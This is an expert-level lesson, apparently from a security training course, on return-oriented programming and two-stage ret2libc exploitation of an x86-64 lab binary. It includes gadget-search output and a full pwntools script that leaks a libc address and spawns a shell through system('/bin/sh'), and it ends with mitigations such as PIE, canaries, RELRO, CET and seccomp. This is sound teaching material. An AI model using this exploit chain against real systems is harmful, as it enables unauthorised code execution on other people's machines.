Skip to main content
Return-Oriented Programming (ROP) & ret2libc Chains
Lesson 5 of 7

Return-Oriented Programming (ROP) & ret2libc Chains

Chain existing instruction sequences to bypass NX and defeat ASLR through a two-stage GOT leak and ret2libc payload in controlled x86-64 binaries.

Expert 38 min Binary exploitation
Authorised environments only — The techniques described here are used only in training labs and on systems you own or have written permission to test.

Learning objectives

  • Explain how Return-Oriented Programming executes arbitrary call sequences without injecting executable shellcode
  • Identify and extract x86-64 register-popping gadgets using ROPgadget, ropper, and pwntools
  • Demonstrate a two-stage ret2libc chain that leaks a GOT address to calculate the randomized libc base
  • Diagnose and fix 16-byte stack alignment crashes before calling libc functions such as system

Recommended first: Mitigations: NX, ASLR, PIE, Stack Canaries & RELRO

#Why this matters

When the No-Execute (NX) bit is enabled on a binary, writing raw machine code onto the stack or heap no longer grants code execution because those pages are marked non-executable. When Address Space Layout Randomization (ASLR) is also active on the host, shared libraries such as libc.so.6 load at unpredictable base addresses on every run. Attackers bypass both defences without injecting a single byte of executable code by chaining short instruction sequences already mapped in memory -- a technique called Return-Oriented Programming (ROP).

Mastering ROP and ret2libc is essential for both exploit engineers evaluating memory-corruption impact and defenders validating whether mitigations like Partial RELRO or missing Position-Independent Executable (PIE) flags leave an application exposed.

#Gadgets and the x86-64 calling convention

In a stack buffer overflow without a canary, overwriting the saved return address lets you control rip when the vulnerable function executes ret. Because ret simply pops an 8-byte value from rsp and jumps to it, placing a chain of addresses on the stack turns rsp into a virtual instruction pointer. Each small instruction sequence ending in ret is a gadget.

On Linux x86-64, user-space functions follow the System V AMD64 ABI: the first six integer or pointer arguments go into rdi, rsi, rdx, rcx, r8, and r9, respectively. To call puts(got_puts) or system("/bin/sh"), you first need a gadget that loads rdi from the stack.

Gadget pattern Effect on state Typical use in chain
pop rdi; ret Loads 8 bytes from stack into rdi Set 1st argument (puts, system)
pop rsi; pop r15; ret Loads rsi and dummy r15 Set 2nd argument (write, read)
ret Pops next address, shifts rsp by +8 Align stack to 16 bytes before call
leave; ret mov rsp, rbp; pop rbp; ret Pivot rsp to a fake stack frame

You can search an ELF binary for gadgets using ROPgadget or ropper. Notice that x86-64 instructions have variable lengths, so tools often discover useful gadgets starting mid-instruction inside unrelated functions.

Searching a lab binary for useful gadgets
$ ROPgadget --binary ./vuln_lab --only "pop|ret" | head -n 8
Gadgets information
============================================================
0x000000000040101a : ret
0x00000000004011fb : pop rbp ; ret
0x000000000040126b : pop rdi ; ret
0x0000000000401269 : pop rsi ; pop r15 ; ret

When pop rsi; pop r15; ret is used, you must supply two 8-byte values on the stack after the gadget address: the desired rsi value followed by any dummy 8-byte padding for r15.

#Breaking ASLR with a two-stage ret2libc chain

If the main binary is compiled without PIE (its own .text and .plt/.got addresses are fixed at 0x400000-range), you know the addresses of gadgets inside the binary, as well as the Procedure Linkage Table (PLT) stubs and Global Offset Table (GOT) slots. However, you still do not know where libc lives in memory because ASLR randomizes shared libraries.

The solution is a two-stage ret2libc chain:

  1. Stage 1 (Information Leak): Build a ROP chain using fixed binary gadgets to call puts@plt(puts@got) (or printf / write), printing the resolved runtime address of puts inside libc back over the socket or stdout. Immediately append the address of main (or the vulnerable function) as the return address so the process does not crash after printing.
  2. Stage 2 (Payload Execution): Receive the leaked bytes, unpack the address, and subtract the known offset of puts in the target libc.so.6 to find libc_base. Now every gadget and string inside libc -- including system and "/bin/sh" -- is at a known address for the second overflow when main runs again.
Two-stage ret2libc ASLR bypassTwo-stage ret2libc ASLR bypassExploitBinaryStage 1 payload (pop rdi; puts@got; puts@plt; main)Raw leaked bytes of puts runtime addressExploit computes libc_base = leak - libc.sym['puts']Stage 2 payload (ret; pop rdi; binsh; system)Interactive shell in lab environment

Verify that your computed libc_base ends in 0x000 (page-aligned to 4 KiB). If the lower three hex nibbles are non-zero, either you read the wrong bytes from stdout (such as a leftover newline) or your local libc file does not match the target binary's libc version.

#Stack alignment and pwntools automation

A classic pitfall when calling system() in modern 64-bit libc (Ubuntu 18.04+ / Debian 10+) is crashing inside do_system on an SSE instruction such as movaps xmmword ptr [rsp + 0x50], xmm0. The movaps instruction requires its memory operand to be 16-byte aligned. Normally, a call instruction pushes an 8-byte return address onto a 16-byte aligned stack, so inside the callee rsp % 16 == 8. When your ROP chain jumps straight to system via ret, that extra push may leave rsp % 16 == 8 at the wrong point, causing a SIGSEGV.

Adding a single ret gadget anywhere before system shifts rsp by 8 bytes and restores 16-byte alignment.

python
from pwn import *

context.binary = elf = ELF("./vuln_lab", checksec=False)
libc = ELF("./libc.so.6", checksec=False)

io = process("./vuln_lab")
offset = 72  # Offset to saved RIP found via cyclic pattern

rop1 = ROP(elf)
rop1.raw(b"A" * offset)
rop1.puts(elf.got["puts"])
rop1.call(elf.symbols["main"])

io.sendlineafter(b"Input: ", rop1.chain())
leak = u64(io.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")

rop2 = ROP([elf, libc])
rop2.raw(b"A" * offset)
rop2.raw(rop2.find_gadget(["ret"]).address)  # 16-byte alignment for movaps
rop2.system(next(libc.search(b"/bin/sh\x00")))

io.sendlineafter(b"Input: ", rop2.chain())
io.interactive()

Notice how ROP([elf, libc]) lets pwntools resolve gadgets across both the binary and libc once libc.address is set. If vuln_lab uses fgets or scanf("%s"), check every packed address for bad bytes such as 0x0a (newline) or 0x20 (whitespace) that truncate input early.

#Defending and common mistakes

Modern compilers and kernels layer several mitigations to break ROP and ret2libc chains:

  • Enable PIE (-fPIE -pie): Randomizes the binary's own .text, .plt, and .got addresses alongside libc, preventing hardcoded Stage 1 gadgets without an earlier information leak.
  • Stack Canaries (-fstack-protector-strong): Detects contiguous stack buffer overflows before ret executes.
  • Full RELRO (-Wl,-z,relro,-z,now): Resolves all GOT entries at startup and maps the GOT read-only (does not stop reading GOT leaks, but blocks GOT overwrites).
  • Hardware Control-Flow Integrity (Intel CET / ARM PAC): Shadow stacks verify return addresses against a hardware-protected copy, blocking ROP chains outright on supported CPUs.
  • Syscall filtering (seccomp-bpf): Restricts execve and execveat in sandboxed processes so spawning a shell fails even after control-flow hijack.

Common mistakes when building ROP chains:

  • Forgetting to handle leftover prompt text or \n bytes before u64(...), corrupting the leaked pointer.
  • Choosing a gadget or libc string containing 0x00 when exploiting strcpy, or 0x0a when exploiting fgets/gets.
  • Missing a ret alignment gadget before system(), leading to an unexplained crash inside movaps.
  • Assuming the local libc.so.6 offsets match a remote container without matching the exact libc build ID.

#Summary

  • Return-Oriented Programming chains short existing instruction sequences ending in ret to bypass NX without injected shellcode.
  • On x86-64, arguments must be placed into rdi, rsi, and rdx using register-popping gadgets before calling functions.
  • A two-stage ret2libc exploit defeats ASLR by leaking a resolved GOT entry, restarting main, and computing the randomized libc base.
  • Inserting an extra ret gadget keeps rsp 16-byte aligned for SSE instructions inside system(), while PIE, stack canaries, CFI, and seccomp raise the bar against exploitation.

Knowledge check

Sign in to take the test, complete lessons and save your progress. Log in

Practice: test your knowledge